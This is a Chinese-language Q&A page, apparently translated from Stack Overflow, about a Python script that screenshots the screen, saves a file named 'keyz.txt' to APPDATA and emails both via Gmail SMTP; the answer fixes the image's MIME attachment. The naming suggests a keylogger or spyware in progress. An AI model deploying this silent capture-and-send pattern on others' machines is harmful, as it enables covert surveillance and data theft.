首页 > 解决方案 > Python 无法正确将屏幕截图发送到电子邮件

问题描述

我有这个担心。此 python 代码应该发送 2 个文件,一个是文本文件和屏幕截图。它将文本文件正确发送到我的电子邮件,但它没有将与其关联的正确图像发送到我的电子邮件,而是将其作为缓冲图像而不是正确图像发送到我的电子邮件。

我的代码看起来有点像这样

import os
import pyautogui
import smtplib 
from email.mime.multipart import MIMEMultipart 
from email.mime.text import MIMEText 
from email.mime.base import MIMEBase 
from email import encoders 

def CaptureKeysAndScreenShtAndSendToEmail():
    pic= pyautogui.screenshot()
    pic.save(os.getenv('APPDATA')+ "\\"+ 'screenshot.png')  

    path = os.getenv('APPDATA')
    file = path + "\\" + 'keyz.txt'
    with open(file,'w') as f:
        data = 'Hello Jasmine!'
        f.write(data)

    fromAddr = "xxxxxx@gmail.com"
    ToAddr = "xxxxxx@gmail.com"

    msg = MIMEMultipart()
    msg['From'] = fromAddr
    msg['To'] = ToAddr
    msg['Subject'] = "Text File"
    body = "Test mail _ Attachment"
    msg.attach(MIMEText(body,'plain'))

    
    filename = file
    attachment = open(filename,"rb")
    p = MIMEBase('application','octet-stream')
    p.set_payload((attachment).read())
    encoders.encode_base64(p)
    p.add_header('Content-Disposition', "attachment; filename= %s" % filename) 
    msg.attach(p) 

    
    picturePath = os.getenv('APPDATA')+ "\\"+ 'screenshot.png'
    picattach = open(picturePath, "rb")
    x = MIMEBase('application','octet-stream')
    x.set_payload((picattach).read())
    encoders.encode_base64(x)
    x.add_header('Content-Disposition', "attachment; filename= %s" % picattach) 
    msg.attach(x) 

    s = smtplib.SMTP('smtp.gmail.com',587)
    s.starttls()
    s.login(fromAddr,"ssssss")
    text = msg.as_string()
    s.sendmail(fromAddr,ToAddr,text)
    s.quit()
    print('Done')


CaptureKeysAndScreenShtAndSendToEmail()

我认为有些东西我没有正确捕捉。

标签: pythonemailemail-attachmentssmtplib

解决方案


唉,我解决了。它现在向电子邮件发送电子邮件和图片附件。一切都很好。很少的修改改变了一切

import os
import pyautogui
import smtplib 
from email.mime.multipart import MIMEMultipart 
from email.mime.text import MIMEText 
from email.mime.base import MIMEBase 
from email import encoders 

def CaptureKeysAndScreenShtAndSendToEmail():
    pic= pyautogui.screenshot()
    pic.save(os.getenv('APPDATA')+ "\\"+ 'screenshot.png')  

    path = os.getenv('APPDATA')
    file = path + "\\" + 'keyz.txt'
    with open(file,'w') as f:
        data = 'Hello Jasmine!'
        f.write(data)

    fromAddr = "xxxxxx@gmail.com"
    ToAddr = "xxxxxx@gmail.com"

    msg = MIMEMultipart()
    msg['From'] = fromAddr
    msg['To'] = ToAddr
    msg['Subject'] = "Text File"
    body = "Test mail _ Attachment"
    msg.attach(MIMEText(body,'plain'))

    
    filename = file
    attachment = open(filename,"rb")
    p = MIMEBase('application','octet-stream')
    p.set_payload((attachment).read())
    encoders.encode_base64(p)
    p.add_header('Content-Disposition', "attachment; filename= %s" % filename) 
    msg.attach(p) 

    
    picturePath = os.getenv('APPDATA')+ "\\"+ 'screenshot.png'
    picattach = open(picturePath, "rb")
    x = MIMEBase('image', 'png', filename='screenshot.png')
    x.set_payload((picattach).read())
    encoders.encode_base64(x)
    x.add_header('Content-Disposition', "attachment; filename= %s" % picattach) 
    x.add_header('X-Attachment-Id', '0')
    x.add_header('Content-ID', '<0>')
    msg.attach(x) 

    s = smtplib.SMTP('smtp.gmail.com',587)
    s.starttls()
    s.login(fromAddr,"sssssss")
    text = msg.as_string()
    s.sendmail(fromAddr,ToAddr,text)
    s.quit()
    print('Done')


CaptureKeysAndScreenShtAndSendToEmail()

改变这个

x = MIMEBase('image', 'png', filename='screenshot.png')并添加一些其他标题,因为这改变了所有。

标头

x.add_header('X-Attachment-Id', '0')
x.add_header('Content-ID', '<0>')

推荐阅读